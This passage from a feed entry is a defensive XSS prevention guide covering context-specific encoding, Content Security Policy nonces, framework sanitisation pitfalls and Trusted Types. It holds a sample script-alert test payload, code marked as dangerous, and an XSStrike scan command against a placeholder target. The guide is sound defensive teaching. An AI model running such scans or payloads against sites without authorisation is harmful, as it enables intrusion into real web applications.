    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;#x2F;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don't write your own encoding library. Use established ones: OWASP Java Encoder for Java, Microsoft AntiXSS library for .NET, or DOMPurify for client-side JavaScript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Context-Specific Encoding — The Part Most Guides Skip
&lt;/h2&gt;

&lt;p&gt;Here's what separates a developer who understands XSS from one who just read a tutorial: encoding rules change depending on where in the HTML document you're inserting data.&lt;/p&gt;

&lt;h3&gt;
  
  
  HTML Body Context
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Safe: HTML entity encoding --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Welcome back, &lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;alert(1)&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  HTML Attribute Context
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- DANGEROUS — even with quotes, some attributes execute JS --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"USER_INPUT_HERE"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Safe approach — always quote attributes AND encode --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?&amp;gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  JavaScript Context
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// NEVER put untrusted data directly in JavaScript&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;?= $userInput ?&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Dangerous&lt;/span&gt;

&lt;span class="c1"&gt;// Safe: JSON encode server-side, parse client-side&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;userData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;?= json_encode($userInput) ?&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  URL Context
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Validate that URL starts with http/https — never trust blind --&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;?php
$url = $_GET['redirect'];
if (!preg_match('/^https?:\/\//i', $url)) {
    $url = '/'; // Default safe redirect
}
?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;?= htmlspecialchars($url, ENT_QUOTES, 'UTF-8') ?&amp;gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Click here&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CSS Context
&lt;/h3&gt;

&lt;p&gt;Never put user-controlled data into CSS. Ever. I've bypassed sanitizers through CSS injection more times than I can count. If you absolutely must, validate it's a specific expected value from a whitelist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Content Security Policy — Your Safety Net
&lt;/h2&gt;

&lt;p&gt;CSP is a browser security mechanism that restricts what resources can load on your page. Even if an attacker injects a script, a properly configured CSP can prevent it from executing. I've implemented CSP headers on dozens of client applications and it's one of the highest ROI security improvements you can make.&lt;/p&gt;

&lt;p&gt;Add this header to your HTTP responses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The nonce approach is critical. Generate a cryptographically random nonce for each page load and include it in both the CSP header and your script tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$nonce&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;random_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Security-Policy: script-src 'nonce-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$nonce&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;' 'strict-dynamic'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;nonce=&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?=&lt;/span&gt; &lt;span class="nv"&gt;$nonce&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="c1"&gt;// Your legitimate scripts here&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any injected script without the correct nonce gets blocked. Test your CSP at &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;Google's CSP Evaluator&lt;/a&gt; before going live — weak configurations like &lt;code&gt;unsafe-inline&lt;/code&gt; or wildcard sources defeat the entire purpose.&lt;/p&gt;

&lt;h2&gt;
  
  
  Framework-Specific Protections
&lt;/h2&gt;

&lt;p&gt;Modern frameworks give you XSS protection by default if you use them correctly.&lt;/p&gt;

&lt;h3&gt;
  
  
  React
&lt;/h3&gt;

&lt;p&gt;React escapes all values in JSX by default. The dangerous part is when developers bypass this protection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DANGEROUS — never do this with untrusted input&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;userContent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// If you must render HTML (e.g., rich text), sanitize first&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userContent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Angular
&lt;/h3&gt;

&lt;p&gt;Angular sanitizes values by default in template bindings. The bypass to watch for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DANGEROUS&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trustedHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sanitizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bypassSecurityTrustHtml&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Use only for content you fully control, never for user input&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Vue.js
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- DANGEROUS — v-html renders raw HTML --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;v-html=&lt;/span&gt;&lt;span class="s"&gt;"userContent"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Safe — v-text or {{ }} automatically escapes --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;{{ userContent }}&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5 Mistakes I Find in Every Penetration Test
&lt;/h2&gt;

&lt;p&gt;After years of security assessments, these are the issues I find most consistently:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 1: Sanitizing on input, forgetting to encode on output.&lt;/strong&gt; Teams add a regex strip on the way in, then render the stored data raw later. A bypassed filter on input means stored malicious content renders with full effect on output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2: Trusting &lt;code&gt;innerHTML&lt;/code&gt; assignments.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;username&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Right&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;username&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Mistake 3: Misconfigured CSP with unsafe-inline.&lt;/strong&gt; I've audited organizations that spent weeks implementing CSP then included &lt;code&gt;'unsafe-inline'&lt;/code&gt; because a third-party widget required it. This completely negates your XSS protection. The solution is to contact the vendor for a nonce-compatible version or self-host the script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4: Forgetting about JSON endpoints.&lt;/strong&gt; Always set &lt;code&gt;Content-Type: application/json&lt;/code&gt; — never &lt;code&gt;text/html&lt;/code&gt; — on API responses. An endpoint returning HTML-like data with the wrong content type can be leveraged for injection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 5: Not testing for DOM XSS.&lt;/strong&gt; Automated DAST scanners miss most DOM-based XSS because they don't execute JavaScript or observe browser behavior. I manually test URL fragments (&lt;code&gt;#&lt;/code&gt;), &lt;code&gt;document.location&lt;/code&gt;, &lt;code&gt;document.referrer&lt;/code&gt;, and &lt;code&gt;postMessage&lt;/code&gt; handlers — all common sources of DOM XSS that scanners miss.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools I Actually Use for XSS Testing
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Burp Suite Pro&lt;/strong&gt; — Intercept and modify requests, use the active scanner, and manually craft payloads through the Repeater module&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XSStrike&lt;/strong&gt; — Python-based XSS scanner with fuzzing capabilities: &lt;code&gt;python3 xsstrike.py -u "https://target.com/search?q=test"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP ZAP&lt;/strong&gt; — Excellent for automated crawling and baseline scanning, especially in CI/CD pipelines&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DOMinator&lt;/strong&gt; — Specifically for tracing DOM-based XSS sources and sinks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser DevTools&lt;/strong&gt; — The Sources panel with breakpoints on dangerous sinks like &lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt;, and &lt;code&gt;eval&lt;/code&gt; has helped me find more vulnerabilities than any automated tool&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For payload generation, I reference the &lt;a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet" rel="noopener noreferrer"&gt;PortSwigger XSS cheat sheet&lt;/a&gt; — the most comprehensive filter bypass reference available.&lt;/p&gt;

&lt;h2&gt;
  
  
  XSS in 2026: What's Changed
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;AI-assisted payload generation.&lt;/strong&gt; Attackers are feeding WAF rulesets into LLMs and generating tailored bypass payloads in seconds. Payloads that previously required an expert researcher to craft manually are now one API call away. Context-specific encoding and CSP nonces matter more than ever — they're logic-based defenses that can't be bypassed by payload mutation alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Client-side rendering complexity.&lt;/strong&gt; The dominance of React, Vue, and Angular SPAs means the DOM is now constructed almost entirely in JavaScript. Traditional server-side output encoding is necessary but no longer sufficient. I'm spending more time auditing &lt;code&gt;postMessage&lt;/code&gt; handlers, dynamic &lt;code&gt;import()&lt;/code&gt; calls, and client-side routing logic where untrusted URL fragments feed directly into DOM sinks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trusted Types enforcement.&lt;/strong&gt; The Trusted Types browser API — now supported in Chrome, Edge, and shipping in Firefox — lets you enforce that DOM sink assignments only accept validated objects, not raw strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Enforce Trusted Types in your CSP&lt;/span&gt;
&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;trusted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;types&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;trusted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;types&lt;/span&gt; &lt;span class="nx"&gt;myPolicy&lt;/span&gt;

&lt;span class="c1"&gt;// Create a policy — only way to assign to innerHTML&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;trustedTypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;myPolicy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;createHTML&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Now innerHTML only accepts trusted type objects — raw strings throw&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userContent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userContent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Throws TypeError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This doesn't replace your existing defenses but adds a hard enforcement layer that breaks entire classes of DOM XSS at the browser level. Start with &lt;code&gt;report-only&lt;/code&gt; mode to identify violations before enforcing.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is XSS really that serious? Can't browsers just block it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes, it's serious — and no, browsers alone can't block it. XSS leads to account takeover, credential theft, keylogging, cryptomining, and full session hijacking. I've used XSS to pivot to internal network access in corporate pentests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: We use a WAF — aren't we protected?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Partially. WAFs catch known signatures and basic payloads, but I bypass WAFs routinely using encoding tricks, polyglot payloads, and context manipulation. Treat it as a speed bump, not a wall.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Should I use DOMPurify or write my own sanitizer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Always use a vetted library. Writing your own sanitizer is one of the most common ways I find bypasses. DOMPurify has been audited and battle-tested. Use it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: We encode HTML entities everywhere — why did our pen test still flag XSS?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because HTML entity encoding only protects in HTML body context. If you're inserting data into a JavaScript block, a CSS property, a URL parameter, or an unquoted HTML attribute, different encoding rules apply. I find this exact issue in almost every application I audit.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://xuro.net/blog/xss-prevention-cheatsheet/" rel="noopener noreferrer"&gt;xuro.net&lt;/a&gt; — web security &amp;amp; WordPress consulting.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
